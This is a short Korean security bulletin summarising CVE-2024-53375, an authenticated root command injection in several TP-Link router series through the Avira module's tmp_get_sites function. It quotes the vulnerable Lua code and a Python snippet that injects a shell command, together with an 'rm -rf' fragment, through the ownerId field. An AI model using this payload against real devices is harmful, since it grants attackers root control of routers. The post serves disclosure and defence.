[하루한줄] CVE-2024-53375: TP-Link 원격 코드 실행 취약점
URL
https://thottysploity.github.io/posts/cve-2024-53375/
Target
- HomeShield 기능이 존재하는 TP-Link 기기
- TP-Link Archer Series
- TP-Link Deco Series
- TP-Link Tapo Series
Explain
TP-Link 라우터 시리즈의 원격 코드 실행 취약점에 대한 세부 정보가 공개되었습니다.
취약점은 인증된 유저가 접근 가능한. /admin/smart_network?form=tmp_avira
엔드포인트에 존재합니다.
해당 엔드포인트로의 요청은 기기에 포함되어 root 권한으로 동작하는 Avira antivirus 모듈인 avira.lua
파일의 tmp_get_sites
함수에서 처리됩니다.
function AVIRA_GATHER: tmp_get_sites (app_form)
local data = json.decode(app_form.data)
local res = {}
local result = {}
debug("")
debug("===> opcode 0x0523: tmp_get_sites")
local ownerId = data.ownerId --int
local day = data.date --string, today/yesterday
local siteType = data.type --string website type, block/visit
local startIndex = data.startIndex --int
local amount = data.amount --int
-- NOTE: get response data
-- PROC_PCTL = "/proc/pctl/"
-- PROC_BLOCK = "/proc/block/block_insight"
-- Init response data
result.startIndex = startIndex
result.amount = amount
result.sum = 0
result.websiteList = {}
if siteType == "visit" then
if startIndex == 0 then
os.execute("rm -f /tmp/visitList")
os.execute("cp".. PROC_PCTL .. ownerId .. /tmp/visitList")
해당 함수에서는 유저의 HTTP 요청의 포함된 파라미터 app_form.data
를 사용합니다. 파라미터 중 data.ownerId
필드는 주석에서 int 타입으로 사용한다고 명시되어 있으나, 실제 코드에서는 int 타입인지 검증하는 코드가 존재하지 않습니다.
이후 owerId
와 다른 명령어를 조합해 os.execute
함수를 실행하며, 유저 컨트롤이 가능한 ownerId로 인해 함수를 통한 Command Injection이 가능합니다.
ownerid_payload = '../uptime /tmp/visitList;%s;rm -rf'%args.c
data = {'ownerId': ownerid_payload, 'date': 'today', 'type': 'visit', 'startIndex': 0, 'amount': 1}
# Sending the payload to the vulnerable endpoint
resp = client.encrypted_request('/admin/smart_network?form=tmp_avira', {'operation': 'getInsightSites', 'data': json.dumps(data)})
따라서 인증된 유저는 해당 취약점을 통해 라우터의 root 권한으로 원격 코드 실행이 가능합니다.
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.